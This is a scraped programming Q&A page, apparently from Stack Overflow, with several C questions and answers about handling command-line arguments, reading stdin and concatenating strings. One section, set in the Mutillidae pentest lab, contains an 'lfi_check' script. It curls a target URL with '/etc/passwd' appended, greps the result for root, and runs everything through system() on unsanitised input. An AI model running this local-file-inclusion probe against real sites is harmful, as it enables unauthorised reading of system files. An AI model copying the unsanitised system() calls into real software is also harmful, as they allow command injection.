I'm working on a C program that get the command line arguments and append to them a file extension.
The execution will be something like this:
>myprogram file1 file2
and will execute another program that will use as argument file1.txt and file2.txt.
I tried doing that would add the extension and run one command (s1 is the path and s2 is argv[i] on a loop:
int getfile(char *s1, char *s2){
char *str2 = malloc(sizeof(s2)+3);
strcpy(str2,s2);
strcat(str2,".txt");
execl(s1,"program",str2,NULL);
exit(0);
}
The function will run the program for one file (>program file1.txt and >program file2.txt), but I will need to find a way to run it this way (>program file1.txt file2.txt).
I tried to modify argv directly, but I was unsuccessful.
Any advise?
Try this code:
int main(int argc, char *argv[])
{
char *buffer;
char command[512];
int i = 1;
for(i = 1; i < argc; i++){
buffer = malloc(strlen(argv[i]) + 5);
strcpy(buffer,argv[i]);
strcat(buffer,".txt");
sprintf(command,"touch %s\0",buffer);
system(command);
free(buffer);
}
return 0;
}
A simple program that has no error checking, and I like to explicitly add the string terminator.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, int *argv[]){
if(argc==1){
printf("You have not entered anything!\n");
return 0;
}
char *arr=malloc(1000*sizeof(char));
int i;
strcat(arr, argv[0]);
strcat(arr, " ");
for(i=0;i<argc-1;i++){
strcat(arr,argv[i+1]);
strcat(arr,".txt");
strcat(arr," ");
strcat(arr,"\0");
}
printf("%s\n",arr);
free(arr);
return 0;
}
Related
I have to process command line input and if one of the arguments equal to "-?", I have to write an explanation of what I am making
here is what my code looks like:
#include <stdio.h>
#include <string.h>
#include "header.h"
#define ul unsigned long
int main(int argc, char *argv[]){
for(int i = 0; i < argc; i++){
printf("%s\n", argv[i]);
}
if(argc > 1){
if(strcmp(argv[1], "-?") == 0){
printf("Here I compare 2 strings using my prototype of strcmp(). You have to pass .\\a.out and 2 strings you want to compare.\nIf you want to see their length, type -v after passing values of strings:)\n");
}
}
if(argc > 3){
if(strcmp(argv[3], "-v") == 0){
printf("The length of the 1st string: %lu\nThe length of the 2nd string: %lu\n", strlen(argv[1]), strlen(argv[2]));
}
}
char *s1 = argv[1];
char *s2 = argv[2];
printf("%i\n", strcmp1(s1, s2));
}
and this is what I get if I pass ./a.out -? :
zsh: no matches found: -?
So, my question is how do i process "-?"?
How can I access piped parameter in c code?
test.c
int main( int argc, char *argv[] ) {
int i = 0;
for (i = 0; i < argc; i++) {
printf("argv[%d] = %s\n", i, argv[i]);
}
}
Bash:
cat file.txt | ./test
It prints just first argument argv[0] = ./test. How can I access content of file.txt inside c code (as parameter)?
With the pipe, your program gets the content of file.txt in its stdin. So, read from stdin. For example you can use fgets() to read line by line:
#include <stdio.h>
int main(int argc, char *argv[]) {
int i = 0;
char line[1024];
while(fgets(line, sizeof line, stdin)) {
printf("%s", line);
}
}
This is a pentesting laboratory environment called "Mutillidae".
This program grabs argv[1] and places into command "curl <[argv[1]>",
then it grabs a line from lfi_test file and places it into second
%s in sprintf(). This program executes %100, I am just having issues with the format( | grep root). Instead, the entire source code is revealed including the entire /etc/passwd file.
If I uncomment line #20:
int passwd = "/etc/passwd";
and change line #27 to
sprintf(url,"/usr/bin/curl %s%s", argv[1], passwd);
I am able to get the formatted result I want.
If anyone can help me out, thank you in advance.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[200];
int i;
FILE *fp;
char line[200];
char *root = "| grep root"
// char *passwd = "/etc/passwd";
fp = fopen("/home/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 1; i++)
{
fgets(line,sizeof(line), fp);
sprintf(url,"/usr/bin/curl %s%s %s", argv[1], line-1, root);
// printf("%s", line);
system(url);
}
}
}
The reason line-1 wasn't working in..
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line-1, root);
was due to line(/etc/passwd\n) from file was being cut by 1 and
it didn't allow char *root variable to be implemented into string format.
The function strtok() breaks line into a series of tokens using a delimiter. I was then able to parse "/etc/passwd\n" to "/etc/passwd" BEFORE sprintf().
Thanks DUman & immibis
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char * argv[])
{
printf("\nlfi_check searches for system files on a vulnerable URL\n");
printf("<><><><><><><><><><><><><><><><><><><><><><><><><><><><>\n\n");
if (argc != 2)
{
printf("\nusage ./lfi_check http://target.php?page= \n");
}
else
{
char url[4096];
int i;
FILE *fp;
char line[200];
char *root = " | grep root";
fp = fopen("/root/freshnuts/pentest/lfi_rfi/lfi_test","r+");
for (i=0; i <= 2; i++)
{
fgets(line,sizeof(line), fp);
strtok(line, "\n");
sprintf(url,"/usr/bin/curl %s%s %s\n", argv[1], line,root);
system(url);
}
}
}
I'm having trouble trying to figure out how to concatenate the file path with the strings. The user input the strings in the command prompt like this:
StringLabMain.exe Mary had a little lamb 1234
It supposed to print out something like this:
Concatenated arguments: d:\Documents and Settings\labadmin\My Documents\Visual Studio 2012\Projects\test\debug\StringLabMain.exeMaryhadalittlelamb1234
but my code prints out this:
Concatenated arguments: StringLabMain.exeMaryhadalittlelamb1234
Here is my code (I don't understand how the concatenate works to include the file path with the strings):
int main(int argc, char *argv[])
{
int i;
for (i = 0; i < argc; i++)
{
printf("%s", argv[i]);
}
return 0;
}
I hope I explained this clearly.
First, if your only purpose is to print the directory and the concatenated args, so you just have to print the current directory before the main loop. This may be done using getcwd().
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int i;
printf("%s", getcwd(0,0));
for (i = 0; i < argc; i++)
{
printf("%s", argv[i]);
}
return 0;
}
But for more general purposes I really recommend you to use stracat() which concatenates string. So you have to declare a "string" (using char *) with the current working directory, and then concatenate the args. This will be done like this way:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
char* toPrint;
int i;
toPrint = getcwd(0,0);
for (i = 0; i < argc; i++)
strcat (toPrint, argv[i]);
printf("%s\n",toPrint);
return 0;
}
I hope that know it's clear.
The following code demonstrates how to use strcat() to build up a string of all argv[] elements:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
int i;
size_t outputSize = 1;
char *output = NULL;
/* Allocate a buffer large enough to hold the string termination character. */
output=malloc(outputSize);
if(!output)
{
fprintf(stderr, "malloc() failed.\n");
goto CLEANUP;
}
*output = '\0';
/* Iterate argv[] elements. */
for(i = 0; i < argc; i++)
{
char *tmp;
/* Increase the size of the output buffer to hold this argv[] element. */
outputSize += strlen(argv[i]);
tmp=realloc(output, outputSize);
if(!tmp)
{
fprintf(stderr, "realloc() failed.\n");
goto CLEANUP;
}
output=tmp;
/* Concatinate this argv[] element to the output string. */
strcat(output, argv[i]);
}
/* Print the result. */
printf("%s\n", output);
CLEANUP:
if(output)
free(output);
return 0;
}
On Linux, you can also include the path of the current working directory, like this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
int i;
size_t outputSize;
char *output = NULL;
output=getcwd(NULL,0);
if(!output)
{
fprintf(stderr, "getcwd() failed.\n");
goto CLEANUP;
}
outputSize = strlen(output) + 1;
for(i = 0; i < argc; i++)
{
char *tmp;
outputSize += strlen(argv[i]);
tmp=realloc(output, outputSize);
if(!tmp)
{
fprintf(stderr, "realloc() failed.\n");
goto CLEANUP;
}
output=tmp;
strcat(output, argv[i]);
}
printf("%s\n", output);
CLEANUP:
if(output)
free(output);
return 0;
}
The above example is Linux specific due to a Linux extension to 'getcwd()'. The Linux getcwd man page states:
As an extension to the POSIX.1-2001 standard, Linux (libc4, libc5, glibc) getcwd() allocates the buffer dynamically using malloc(3) if buf is NULL. In this case, the allocated buffer has the length size unless size is zero, when buf is allocated as big as necessary. The caller should free(3) the returned buffer.
Apparently, _getcwd() works the same way on MS Windows. MSDN states about _getcwd():
The _getcwd function gets the full path of the current working directory for the default drive and stores it at buffer. The integer argument maxlen specifies the maximum length for the path. An error occurs if the length of the path (including the terminating null character) exceeds maxlen. The buffer argument can be NULL; a buffer of at least size maxlen (more only if necessary) is automatically allocated, using malloc, to store the path. This buffer can later be freed by calling free and passing it the _getcwd return value (a pointer to the allocated buffer).
So, perhaps the following (untested) code would be suitable for a MS Windows environment:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <direct.h>
int main(int argc, char *argv[])
{
int i;
size_t outputSize;
char *output = NULL;
output=_getcwd(NULL,0);
if(!output)
{
fprintf(stderr, "_getcwd() failed.\n");
goto CLEANUP;
}
outputSize = strlen(output) + 1;
for(i = 0; i < argc; i++)
{
char *tmp;
outputSize += strlen(argv[i]);
tmp=realloc(output, outputSize);
if(!tmp)
{
fprintf(stderr, "realloc() failed.\n");
goto CLEANUP;
}
output=tmp;
strcat(output, argv[i]);
}
printf("%s\n", output);
CLEANUP:
if(output)
free(output);
return 0;
}
I've been working on this thing for hours on end and I have searched and searched and my code still does not work right.
How do I read my FILE from a function within main using argv[] as the file that I want read?
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
FILE words(FILE *filesToRead)
{
const char *Open;
Open = (char *)filesToRead;
filesToRead = fopen(Open, "rt");
int line;
while ((line = fgetc(filesToRead)) != EOF)
{
printf("%c", line);
}
fclose(filesToRead);
}
int main(int argc, char *argv[])
{
char *ah = argv[];
words(ah);
return 0;
}
Try this:
void words(char *filename)
{
FILE *filesToRead = fopen(filename, "rt");
/* ... */
}
int main(int argc, char *argv[])
{
if (argc > 1)
words(argv[1]);
return 0;
}
To be honest (and please don't be offended) the way your code looks it seems you have skipped a few chapters in the C book you are using.
argv[] is an array of char *s. For example, if you call your program from the command line as:
my_prog.exe foo bar
Then:
argc will be 3;
argv[0] will point to "my_prog.exe"
argv[1] will point to "foo"
argv[2] will point to "bar"
So inside your main() function, if you are expecting one argument you will need to check the value of argc is 2 and then read your argument out of argv[1].